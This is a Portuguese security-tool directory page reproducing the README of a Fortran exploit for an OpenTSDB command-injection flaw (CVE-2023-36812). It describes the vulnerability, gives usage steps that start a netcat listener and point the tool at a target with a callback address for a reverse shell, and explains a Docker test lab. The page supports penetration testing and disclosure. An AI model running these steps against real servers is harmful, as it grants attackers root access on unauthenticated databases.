Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
opentsdb_key_cmd_injection — Um exploit para OpenTSDB <= 2.4.1 de injeção de comando (CVE-2023-36812/CVE-2023-25826) escrito em Fortran | Kitploit
Ferramentas/GitHubGitHub/erikwynter/opentsdb_key_cmd_injection
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleRed Teaming
GitHuberikwynter/opentsdb_key_cmd_injection

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

opentsdb_key_cmd_injection

Um exploit para OpenTSDB <= 2.4.1 de injeção de comando (CVE-2023-36812/CVE-2023-25826) escrito em Fortran

Ver Repositório
71há 2 anosAinda não revisado

opentsdb_key_cmd_injection

Um exploit para injeção de comandos no OpenTSDB <= 2.4.1 (CVE-2023-36812/CVE-2023-25826) escrito em Fortran

Sobre

Este é um exploit para uma vulnerabilidade de injeção de comandos no OpenTSDB versões 2.4.1 e anteriores (CVE-2023-36812/CVE-2023-25826). O exploit é escrito em Fortran moderno e utiliza a biblioteca oficial http-client do Fortran, que foi criada no início deste ano.

Detalhes da vulnerabilidade

OpenTSDB é um banco de dados de séries temporais de código aberto escrito em Java. Em 2020, uma vulnerabilidade de injeção de comandos foi descoberta nas versões 2.4.0 e anteriores, que poderia ser explorada para obter execução remota de código no host com privilégios de root. Como o OpenTSDB não suporta autenticação, essa vulnerabilidade, registrada como CVE-2020-35476, poderia ser explorada por qualquer pessoa com acesso à interface web do OpenTSDB. O problema foi corrigido na versão 2.4.1

Este ano foi descoberto que a correção para CVE-2020-35476 estava incompleta, e a injeção de comandos ainda é possível no OpenTSDB 2.4.1 através de vários vetores.

Detalhes:

  • Registrada como: CVE-2023-36812. Vale notar que CVE-2023-25826 na verdade parece descrever a mesma vulnerabilidade, e ambos os CVEs referenciam o mesmo patch.
  • Aviso de segurança: https://github.com/OpenTSDB/opentsdb/security/advisories/GHSA-76f7-9v52-v2fw
  • Crédito: Gal Goldstein e Daniel Abeles da Oxeye
  • Correção: O patch será introduzido na versão 2.4.2, que ainda não é uma versão oficial. No momento da escrita, a versão mais recente do OpenTSDB é a 2.4.1, então é provável que a maioria das instâncias do OpenTSDB em produção estejam vulneráveis. Dito isso, o FAQ do OpenTSDB enfatiza que este projeto "foi escrito apenas para uso interno" e "não passou por nenhuma revisão de segurança e não inclui autenticação."

Por que Fortran?

A versão curta é que vi essa conversa: why

A ideia de escrever um exploit em a linguagem de programação usada para levar pessoas à lua me intrigou tanto que eu tive que explorar isso por conta própria. Este exploit é o resultado desse experimento. À pergunta se foi bem-sucedido, só posso responder com estas sábias, porém amaldiçoadas palavras que unem todos os devs em sangue: Funciona na minha máquina. ¯\(ツ)/¯

De qualquer forma, minhas principais conclusões deste projeto são:

  • Fortran é realmente muito legal e surpreendentemente fácil de aprender.
  • O ecossistema moderno do Fortran, incluindo o gerenciador de pacotes fpm, mostra um grande potencial.
  • Fortran é uma linguagem fortemente tipada, e achei isso algo bom, pois encontrei poucos erros desagradáveis em tempo de execução.
  • Projetos Fortran com dependências são grandes porque o fpm inclui o código-fonte da dependência diretamente no seu projeto. O benefício é que evita a poluição do sistema.
  • O suporte a bibliotecas é relativamente limitado e caótico em comparação com linguagens modernas. Infelizmente, isso não afeta apenas a biblioteca http-client.
  • Como esperado, boas documentações e dicas de solução de problemas são mais difíceis de encontrar do que na maioria das linguagens de programação modernas, embora ainda existam algumas postagens úteis no StackOverflow e fóruns há muito esquecidos do início dos anos 2000.
  • Ferramentas de IA como ChatGPT e GitHub Copilot são parceiros de codificação ainda menos confiáveis do que no caso das linguagens modernas.

No geral, não é fácil imaginar essa linguagem realmente ganhando importância na segurança ofensiva, até porque existem tantas alternativas sólidas e modernas para qualquer caso de uso imaginável (Python, Go, Rust, Ruby, C# para citar apenas algumas). Mas se você gosta de experimentar diferentes linguagens de programação e não se importa de encapsular suas strings em chamadas trim() o tempo todo (POR FAVOR, PRESTE ATENÇÃO NISSO, ISSO VAI ECONOMIZAR MUITO SOFRIMENTO), Fortran vale absolutamente a pena conferir. Estou torcendo sem ironia por essa linguagem agora e posso revisitá-la se continuarem adicionando suporte à biblioteca http-client, especialmente se adicionarem uma biblioteca http-server em algum momento.

TL;DR: A biblioteca http-client do Fortran vai brr.

Uso

  • Inicie um listener no seu sistema, ex:
root@kitploit:~
nc -nlvp 1337
  • Em outra janela, navegue até o diretório opentsdb_key_cmd_injection
root@kitploit:~
# cd /caminho/para/opentsdb_key_cmd_injection/
  • Execute o projeto via fpm (certifique-se de instalá-lo primeiro. Veja as instruções de instalação na próxima seção)
root@kitploit:~
# /caminho/para/fpm run -- -t <url_alvo> -l <ip_local> -p <porta_local> [-v]

Opções:

  • -t - TARGET URL: a URL base para o OpenTSDB (obrigatório)
  • -l - LHOST: o IP do sistema onde você está executando um listener (obrigatório)
  • -p - LPORT: a porta do listener (obrigatório)
  • -v - VERBOSE: ativar impressão detalhada (opcional)

Instalação

  • Instale gfortran. Em sistemas baseados em Debian, isso pode ser feito via:
root@kitploit:~
apt install gfortran
  • Instale o fpm. A maneira mais fácil é baixar um binário da versão estável mais recente das releases do fpm no GitHub e depois torná-lo executável:
root@kitploit:~
chmod +x /<caminho>/para/fpm

Certifique-se de ter o git instalado no seu sistema antes de instalar o fpm.

Poc || GTFO

https://github.com/ErikWynter/opentsdb_key_cmd_injection/assets/55885619/223e813e-9710-4193-98a1-ded2246567bf

Configurando uma instância do OpenTSDB para teste

Instalação manual (não recomendado)

Para uma instalação manual, você pode seguir as instruções oficiais de instalação aqui. Isso pode ser irritante, então eu recomendaria usar o Docker.

Instalação com Docker (recomendado)

Para a versão 2.4.0, você pode usar a imagem vulnhub docker e seguir as instruções de instalação aqui. Essa imagem foi criada para CVE-2020-35476, uma vulnerabilidade mais antiga no OpenTSDB até a versão 2.4.0.

Para a versão 2.4.1 e provavelmente qualquer outra versão, você pode aproveitar a imagem vulhub para OpenTSDB 2.4.0 e editá-la para instalar a versão desejada. Eu segui essa abordagem para a 2.4.1 e funcionou muito bem.

  • Primeiro, pegue os arquivos Dockerfile e docker-entrypoint.sh do OpenTSDB 2.4.0 do vulhub aqui e armazene-os em um diretório dedicado.
  • No Dockerfile, substitua todas as ocorrências de 2.4.0 pela versão desejada, ex: 2.4.1
  • Nenhuma edição é necessária no docker-entrypoint.sh
  • Crie um arquivo docker-compose.yml com o seguinte conteúdo:
root@kitploit:~
version: '2'
services:
 opentsdb:
   build: ./caminho-para-seu-diretório-dockerfile
   ports:
    - "4242:4242"

Usei esta estrutura de arquivo:

root@kitploit:~
wynter@wynter-pc:~/dev/opentsdb$ ls -lR
.:
total 8
-rw-rw-r-- 1 wynter wynter   86 Sep  1 10:55 docker-compose.yml
drwxrwxr-x 2 wynter wynter 4096 Sep  1 10:54 docker_file

./docker_file:
total 8
-rw-rw-r-- 1 wynter wynter 927 Sep  1 10:54 Dockerfile
-rw-rw-r-- 1 wynter wynter 359 Sep  1 10:35 docker-entrypoint.sh
wynter@wynter-pc:~/dev/opentsdb$ cat docker-compose.yml 
version: '2'
services:
 opentsdb:
   build: ./docker_file
   ports:
    - "4242:4242"
  • Finalmente, construa e execute a imagem via docker-compose executando o comando abaixo no diretório com seu arquivo docker-compose.yml:
root@kitploit:~
docker-compose up -d
  • Após alguns segundos, o OpenTSDB estará disponível na porta 4242. Nenhuma configuração adicional é necessária.

Uma breve história do Fortran (por que não)

Fortran é mais conhecido como uma linguagem arcaica que desempenhou um papel importante na história da computação moderna, mas que não pode mais ser considerada relevante hoje. Foi lançado pela primeira vez em 1957, antecedendo tanto a ARPANET quanto o Unix em mais de uma década. Com base neste vídeo de séries temporais, foi a linguagem de programação dominante durante as décadas de 1960 e 1970, e permaneceu entre as 10 linguagens mais populares até o final dos anos 1990. Mas na época em que o Windows 98 foi lançado, claramente havia saído de moda, em favor de linguagens mais modernas como C, C++, Java e JavaScript, todas ainda amplamente utilizadas hoje.

Além das almas corajosas que mantêm sistemas legados, duvido que muitas pessoas em TI (quanto mais fora da nossa bolha) tenham encontrado Fortran nas últimas duas décadas, ou mesmo saibam que ele ainda existe. Apesar disso, Fortran permanece em desenvolvimento ativo. Como afirmado no site oficial do Fortran, a linguagem foi revisada pela última vez em 2018, e esperamos ver outra revisão este ano (2023). Na verdade, parece que a comunidade Fortran tem estado muito ativa nos últimos anos, lançando vários projetos importantes para ajudar a modernizar o ecossistema, incluindo:

  • stdlib: a primeira biblioteca padrão do Fortran (primeiro lançamento: 2021)
  • fpm: um gerenciador de pacotes moderno e sistema de compilação chamado fpm (primeiro lançamento alfa: 2020)
  • http-client: a biblioteca cliente HTTP previamente referenciada (primeiro lançamento: 2023).

Diante disso, parece que os mantenedores estão buscando um retorno do Fortran, ou pelo menos dar à linguagem uma chance de sobreviver por mais algumas décadas. Embora mesmo o fã mais fanático do Fortran provavelmente não espere ver a linguagem entrar novamente no top 10 das linguagens de programação mais populares, a modernização contínua da linguagem e de seu ecossistema provavelmente tornou o Fortran mais relevante do que tem sido nas últimas duas décadas.

Baixar ferramenta